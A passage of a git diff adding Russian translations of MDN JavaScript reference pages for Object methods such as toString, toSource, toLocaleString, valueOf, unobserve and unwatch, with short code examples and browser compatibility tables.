+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("34")}}<br>
+    Смотрите <a href="https://code.google.com/p/v8/issues/detail?id=2675">Замечание 2675</a></td>
+   <td>{{CompatGeckoDesktop("31")}}<br>
+    Смотрите {{bug("885788")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("31")}}<br>
+    Смотрите {{bug("885788")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/tolocalestring/index.html b/files/ru/web/javascript/reference/global_objects/object/tolocalestring/index.html
new file mode 100644
index 0000000000..d420368420
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/tolocalestring/index.html
@@ -0,0 +1,103 @@
+---
+title: Object.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>toLocaleString()</strong></code> возвращает строку, представляющую объект. Этот метод предназначен для переопределения унаследованными объектами в целях поддержки зависимости от локали.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.toLocaleString();</code></pre>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toLocaleString</code> объекта {{jsxref("Global_Objects/Object", "Object")}} возвращает результат вызова метода {{jsxref("Object.toString", "toString()")}}.</p>
+<p>Эта функция обеспечивает объектам обобщённый метод <code>toLocaleString</code>, хотя и не все объекты могут её использовать. Смотрите ниже список таких объектов.</p>
+<h3 id="Objects_overriding_toLocaleString" name="Objects_overriding_toLocaleString">Объекты, переопределяющие <code>toLocaleString</code></h3>
+<ul>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}: {{jsxref("Array.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Global_Objects/Number", "Number")}}: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Global_Objects/Date", "Date")}}: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Object.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/tosource/index.html b/files/ru/web/javascript/reference/global_objects/object/tosource/index.html
new file mode 100644
index 0000000000..bf59aac80a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/tosource/index.html
@@ -0,0 +1,138 @@
+---
+title: Object.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Object/toSource
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource
+---
+<div>{{JSRef("Global_Objects", "Object")}} {{non-standard_header}}</div>
+
+<p>Метод <strong><code>toSource()</code></strong> возвращает строку, представляющую исходный код объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.toSource();
+<var>obj</var>.toSource();</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>toSource()</code> возвращает следующие значения:</p>
+
+<ul>
+ <li>Для встроенного объекта {{jsxref("Global_Objects/Object", "Object")}}, метод <code>toSource()</code> возвращает следующую строку, указывающую, что исходный код не доступен:
+
+  <pre class="brush: js">function Object() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Для экземпляров {{jsxref("Global_Objects/Object", "Object")}}, метод <code>toSource()</code> возвращает строку, представляющую исходный код.</li>
+</ul>
+
+<p>Вы можете вызывать метод <code>toSource()</code> во время отладки для просмотра содержимого объекта.</p>
+
+<h3 id="Overriding_the_toSource_method" name="Overriding_the_toSource_method">Переопределение метода <code>toSource()</code></h3>
+
+<p>Вы можете безопасно переопределять метод <code>toSource()</code> для объектов. Например:</p>
+
+<pre class="brush: js">function Person(name) {
+  this.name = name;
+}
+
+Person.prototype.toSource = function Person_toSource() {
+  return 'new Person(' + uneval(this.name) + ')';
+};
+
+console.log(new Person('Joe').toSource()); // ---&gt; new Person("Joe")
+</pre>
+
+<h3 id="Built-in_toString_methods" name="Built-in_toString_methods">Встроенные методы <code>toSource()</code></h3>
+
+<p>Каждый тип ядра JavaScript имеет свой собственный метод <code>toSource()</code>. Вот эти объекты:</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}} — метод объекта {{jsxref("Global_Objects/Array", "Array")}}.</li>
+ <li>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}} — метод объекта {{jsxref("Global_Objects/Boolean", "Boolean")}}.</li>
+ <li>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}} — метод объекта {{jsxref("Global_Objects/Date", "Date")}}.</li>
+ <li>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}} — метод объекта {{jsxref("Global_Objects/Function", "Function")}}.</li>
+ <li>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}} — метод объекта {{jsxref("Global_Objects/Number", "Number")}}.</li>
+ <li>{{jsxref("Regexp.prototype.toSource()")}} {{non-standard_inline}} — метод объекта {{jsxref("Global_Objects/RegExp", "RegExp")}}.</li>
+ <li>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}} — метод объекта {{jsxref("Global_Objects/String", "String")}}.</li>
+ <li>{{jsxref("Symbol.prototype.toSource()")}} {{non-standard_inline}} — метод объекта {{jsxref("Global_Objects/Symbol", "Symbol")}}.</li>
+ <li><code>Math.toSource()</code> — возвращает строку "Math".</li>
+</ul>
+
+<h3 id="Limitations_on_cyclical_objects" name="Limitations_on_cyclical_objects">Ограничение на циклические объекты</h3>
+
+<p>В том случае, если объекты содержат ссылки на самих себя, например циклический связанный список или дерево, которое можно обходить в обоих направлениях, метод <code>toSource()</code> не создаёт такие ссылки, начиная с Firefox 24. Например:</p>
+
+<pre class="brush: js">var obj1 = {};
+var obj2 = { a: obj1 };
+obj1.b = obj2;
+
+console.log('Циклическая ссылка: ' + (obj1.b.a == obj1));
+
+var objSource = obj1.toSource(); // вернёт "({b:{a:{}}})"
+
+obj1 = eval(objSource);
+
+console.log('Циклическая ссылка: ' + (obj1.b.a == obj1));
+</pre>
+
+<p>Если же вам позарез нужно использовать метод <code>toSource()</code> для циклической структуры, объект должен предоставить переопределённый метод <code>toSource()</code>, либо с помощью ссылки на конструктор, либо предоставив анонимную функцию.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toSource" name="Example:_Using_toSource">Пример: использование метода <code>toSource()</code></h3>
+
+<p>Следующий код определяет тип объекта <code>Dog</code> и создаёт объект <code>theDog</code> типа <code>Dog</code>:</p>
+
+<pre class="brush: js">function Dog(name, breed, color, sex) {
+  this.name = name;
+  this.breed = breed;
+  this.color = color;
+  this.sex = sex;
+}
+
+theDog = new Dog('Болтушка', 'лабрадор', 'шоколадный', 'девочка');
+</pre>
+
+<p>Вызов метода <code>toSource()</code> на объекте <code>theDog</code> отобразит исходный код JavaScript, который определяет объект:</p>
+
+<pre class="brush: js">theDog.toSource();
+// вернёт ({name:"Болтушка", breed:"лабрадор", color:"шоколадный", sex:"девочка"})
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Object.toSource")}}</p>
+
+<p> </p>
+
+<div> </div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/tostring/index.html b/files/ru/web/javascript/reference/global_objects/object/tostring/index.html
new file mode 100644
index 0000000000..e9a1b0b116
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/tostring/index.html
@@ -0,0 +1,139 @@
+---
+title: Object.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Object/toString
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>toString()</strong></code> возвращает строку, представляющую объект.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-prototype-tostring.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.toString()</code></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Строка, представляющая объект.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Каждый объект имеет метод <code>toString()</code>, автоматически вызывающийся, когда объект должен быть представлен в виде текстового значения или когда объект участвует в выражении, где ожидается строка. По умолчанию, метод <code>toString()</code> наследуется каждым объектом, произошедшим от объекта {{jsxref("Global_Objects/Object", "Object")}}. Если этот метод не переопределён в пользовательском объекте, <code>toString()</code> возвращает строку вида "[object <em>тип</em>]", где <code><em>тип</em></code> — это тип объекта. Это иллюстрирует следующий код:</p>
+
+<pre class="brush: js">var o = new Object();
+o.toString();           // вернёт [object Object]
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> начиная с JavaScript 1.8.5, метод <code>toString()</code>, вызванный на {{jsxref("Global_Objects/null", "null")}}, возвращает строку <code>[object <em>Null</em>]</code>, а вызванный для {{jsxref("Global_Objects/undefined", "undefined")}}, возвращает строку <code>[object <em>Undefined</em>]</code>, как определено в 5-м издании ECMAScript и последующих исправлениях. Смотрите пример {{anch("Using_toString_to_detect_object_type", "использование метода toString() для определения типа объекта")}}.</p>
+</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Overriding_the_default_toString_method" name="Example:_Overriding_the_default_toString_method">Пример: переопределение метода <code>toString</code> по умолчанию</h3>
+
+<p>Вы можете создать функцию, которая будет вызываться вместо метода <code>toString()</code> по умолчанию. Метод <code>toString()</code> не принимает аргументов и должен возвращать строку. Создаваемый вами метод <code>toString()</code> может возвращать любую строку, какую вы захотите, но он будет наиболее полезным, если будет возвращать информацию об объекте.</p>
+
+<p>Следующий код определяет объект <code>Dog</code> и создаёт <code>theDog</code>, объект типа <code>Dog</code>:</p>
+
+<pre class="brush: js">function Dog(name, breed, color, sex) {
+  this.name = name;
+  this.breed = breed;
+  this.color = color;
+  this.sex = sex;
+}
+
+theDog = new Dog('Болтушка', 'лабрадор', 'шоколадный', 'девочка');
+</pre>
+
+<p>Если вы вызовете метод <code>toString()</code> на этом пользовательском объекте, он вернёт значение по умолчанию, унаследованное от {{jsxref("Global_Objects/Object", "Object")}}:</p>
+
+<pre class="brush: js">theDog.toString(); // вернёт [object Object]
+</pre>
+
+<p>Следующий код создаёт и присваивает метод <code>dogToString()</code>, переопределяющий метод <code>toString()</code> по умолчанию. Эта функция генерирует строку, содержащую кличку, породу, цвет и пол объекта, в форме "<code>свойство = значение;</code>".</p>
+
+<pre class="brush: js">Dog.prototype.toString = function dogToString() {
+  var ret = 'Собачка ' + this.name + ' - ' + this.sex + ', ' + this.color + ' ' + this.breed;
+  return ret;
+}
+</pre>
+
+<p>или</p>
+
+<pre class="brush: js">Dog.prototype.toString = function dogToString() {
+  return `Dog ${this.name} is a ${this.sex} ${this.color} ${this.breed}`;
+}</pre>
+
+<p>После объявления этого метода, при любом использовании переменной <code>theDog</code> в строковом контексте, JavaScript будет автоматически вызывать функцию <code>dogToString()</code>, возвращающую следующую строку:</p>
+
+<pre>Собачка Болтушка - девочка, шоколадный лабрадор
+</pre>
+
+<h3 id="Example_Using_toString_to_detect_object_type" name="Example:_Using_toString_to_detect_object_type">Пример: использование метода <code>toString</code> для определения типа объекта</h3>
+
+<p>Метод <code>toString()</code> можно использовать с любым объектом для получения его класса. Для использования метода <code>Object.prototype.toString()</code> с любым объектом, вам необходимо вызвать на нём функции {{jsxref("Function.prototype.call()")}} или {{jsxref("Function.prototype.apply()")}}, передав объект, который вы хотите исследовать, первым параметром <code>thisArg</code>.</p>
+
+<pre class="brush: js">var toString = Object.prototype.toString;
+
+toString.call(new Date);    // [object Date]
+toString.call(new String);  // [object String]
+toString.call(Math);        // [object Math]
+
+// Начиная с JavaScript 1.8.5
+toString.call(undefined);   // [object Undefined]
+toString.call(null);        // [object Null]
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Вызов метода на {{jsxref("Global_Objects/null", "null")}} вернёт <code>[object <em>Null</em>]</code>, а на {{jsxref("Global_Objects/undefined", "undefined")}} — <code>[object <em>Undefined</em>]</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div></div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Object.toString")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+ <li>{{jsxref("Symbol.toPrimitive")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html b/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html
new file mode 100644
index 0000000000..bf3ef676f3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html
@@ -0,0 +1,97 @@
+---
+title: Object.unobserve()
+slug: Web/JavaScript/Reference/Global_Objects/Object/unobserve
+translation_of: Archive/Web/JavaScript/Object.unobserve
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<p>Метод <strong><code>Object.unobserve()</code></strong> удаляет наблюдатель, который был добавлен с помощью {{jsxref("Object.observe()")}}. Вы можете использовать {{jsxref("Proxy")}} вместо данного метода.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Object.unobserve(<var>obj</var>, <var>callback</var>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, за которым необходимо прекратить наблюдение.</dd>
+ <dt><code>callback</code></dt>
+ <dd>Ссылка на наблюдатель, который нужно остановить на <code>obj</code>.</dd>
+</dl>
+
+<h3 id="Возаращаемое_значение">Возаращаемое значение</h3>
+
+<p>Указанный объект.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>Object.unobserve()</code> вызывается после {{jsxref("Object.observe()")}}, чтобы удалить наблюдатель на объекте.</p>
+
+<p>В <code>callback</code> нужно передавать ссылку на функцию, которая не является анонимной. Если вызвать <strong>Object.unobserve()</strong> с анонмной функцией в <code>callback</code>, то ни один наблюдатель не будет удалён.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Удаление_наблюдателя_с_объекта">Удаление наблюдателя с объекта</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 0,
+  bar: 1
+};
+
+var observer = function(changes) {
+  console.log(changes);
+}
+
+Object.observe(obj, observer);
+​
+obj.newProperty = 2;
+// [{name: 'newProperty', object: &lt;obj&gt;, type: 'add'}]
+
+Object.unobserve(obj, observer);
+
+obj.foo = 1;
+// callback не был вызван</pre>
+
+<h3 id="Вызов_с_анонимной_функцией">Вызов с анонимной функцией</h3>
+
+<pre class="brush: js">var person = {
+  name: 'Ahmed',
+  age: 25
+};
+
+Object.observe(person, function(changes) {
+  console.log(changes);
+});
+
+person.age = 40;
+// [{name: 'age', object: &lt;obj&gt;, oldValue: 25, type: 'update'}]
+
+Object.unobserve(person, function(changes) {
+  console.log(changes);
+});
+
+person.age = 63;
+// [{name: 'age', object: &lt;obj&gt;, oldValue: 40, type: 'update'}]
+// callback был вызван
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal specification</a>.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.unobserve")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.observe()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{obsolete_inline}}</li>
+ <li>{{jsxref("Array.unobserve()")}} {{obsolete_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html b/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html
new file mode 100644
index 0000000000..e862406f3d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html
@@ -0,0 +1,93 @@
+---
+title: Object.prototype.unwatch()
+slug: Web/JavaScript/Reference/Global_Objects/Object/unwatch
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+translation_of: Archive/Web/JavaScript/Object.unwatch
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}}</div>
+<div class="warning">
+ <p><strong>Предупреждение:</strong> обычно, при возможности, вам следует избегать использования <code>unwatch()</code> и {{jsxref("Object.prototype.watch", "watch()")}}. Эти два метода реализованы только в Gecko, и они, в основном, предназначены только для отладочных целей. Кроме того, использование точек наблюдения серьёзно бъёт по производительности, что особенно заметно при использовании их на глобальных объектах, например <code>window</code>. Обычно вместо них вы можете использовать <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">сеттеры и геттеры</a> или прокси. Для более подробной информации смотрите раздел {{anch("Browser_compatibility", "Совместимость с браузерами")}}.</p>
+</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>unwatch()</strong></code> удаляет точку наблюдения, установленную методом {{jsxref("Object.prototype.watch", "watch()")}}.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.unwatch(<var>prop</var>)</code></pre>
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt>
+  <code>prop</code></dt>
+ <dd>
+  Имя свойства объекта, чьи изменения вы хотите прекратить отслеживать.</dd>
+</dl>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Отладчик JavaScript имеет функциональность, аналогичную предоставляемой этим методом, а также и другие возможности отладки. Информацию по отладчику можно получить в статье про <a href="/ru/docs/Venkman">Venkman</a>.</p>
+<p>По умолчанию, этот метод наследуется каждым объектом, произошедшим от {{jsxref("Global_Objects/Object", "Object")}}.</p>
+<div class="note">
+ <p><strong>Примечание:</strong> причина, по которой метод <code>unwatch()</code> принимает единственным параметром только имя свойства <em>prop</em> в том, что для метода {{jsxref("Object.watch", "watch()")}} разрешён только один обработчик.</p>
+</div>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<p>Смотрите метод {{jsxref("Object.watch", "watch()")}}.</p>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.2.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div class="note">
+ <p><strong>Примечание:</strong> вызов <code>unwatch()</code> на объекте {{domxref("Document")}}, начиная с Firefox 23, выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} ({{bug(903332)}}). Эта регрессия была поправлена в Firefox 27.</p>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.watch()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/valueof/index.html b/files/ru/web/javascript/reference/global_objects/object/valueof/index.html
new file mode 100644
index 0000000000..bd1f5b1994
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/valueof/index.html
@@ -0,0 +1,141 @@
+---
+title: Object.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>valueOf()</strong></code> возвращает примитивное значение указанного объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>object</var>.valueOf()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>JavaScript вызывает метод <code>valueOf</code> для преобразования объекта в примитивное значение. Вам редко потребуется вызывать метод <code>valueOf</code> самостоятельно; JavaScript автоматически вызывает его при обнаружении объекта, когда ожидается примитивное значение.</p>
+
+<p>По умолчанию, метод <code>valueOf</code> наследуется каждым объектом, произошедшим от {{jsxref("Global_Objects/Object", "Object")}}. Каждый встроенный объект ядра переопределяет этот метод, возвращая подходящее значение. Если объект не имеет примитивного значения, <code>valueOf</code> возвращает сам объект, который отображается как:</p>
+
+<pre class="brush: js">[object Object]</pre>
+
+<p>Вы можете использовать <code>valueOf</code> в своём коде для преобразования встроенных объектов в примитивное значение. Когда вы создаёте пользовательский объект, вы можете переопределить метод <code>Object.prototype.valueOf()</code>, чтобы вызывать собственный метод вместо метода по умолчанию из {{jsxref("Global_Objects/Object", "Object")}}.</p>
+
+<h3 id="Overriding_valueOf_for_custom_objects" name="Overriding_valueOf_for_custom_objects">Переопределение <code>valueOf</code> в пользовательских объектах</h3>
+
+<p>Вы можете создать функцию, вызываемую вместо метода <code>valueOf</code> по умолчанию. Ваша функция не должна принимать аргументов.</p>
+
+<p>Предположим, у вас есть объект типа <code>myNumberType</code> и вы хотите создать для него метод <code>valueOf</code>. Следующий код присваивает определённую пользователем функцию методу <code>valueOf</code> объекта:</p>
+
+<pre class="brush: js">myNumberType.prototype.valueOf = function() { return customPrimitiveValue; };</pre>
+
+<p>Начиная с этого места в вашем коде, в любое время, когда объект типа <code>myNumberType</code> будет использоваться в контексте, где он должен быть представлен примитивным значением, JavaScript будет автоматически вызывать  функцию, определённую в этом коде.</p>
+
+<p>Метод объекта <code>valueOf</code> обычно вызывается движком JavaScript, но вы можете вызвать его и самостоятельно, как показано ниже:</p>
+
+<pre class="brush: js">myNumber.valueOf()</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> объекты в строковом контексте преобразуются с помощью метода {{jsxref("Object.toString", "toString()")}}, что отличается от объектов {{jsxref("Global_Objects/String", "String")}}, преобразующихся в строковые примитивы методом <code>valueOf</code>. Все объекты имеют преобразование в строку вида "<code>[object <em>type</em>]</code>". Но многие объекты не преобразуются в число, логическое значение или функцию.</p>
+</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_valueOf" name="Example:_Using_valueOf">Пример: использование <code>valueOf</code></h3>
+
+<pre class="brush: js">var o = new Object();
+myVar = o.valueOf();      // [object Object]
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.4', 'Object.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
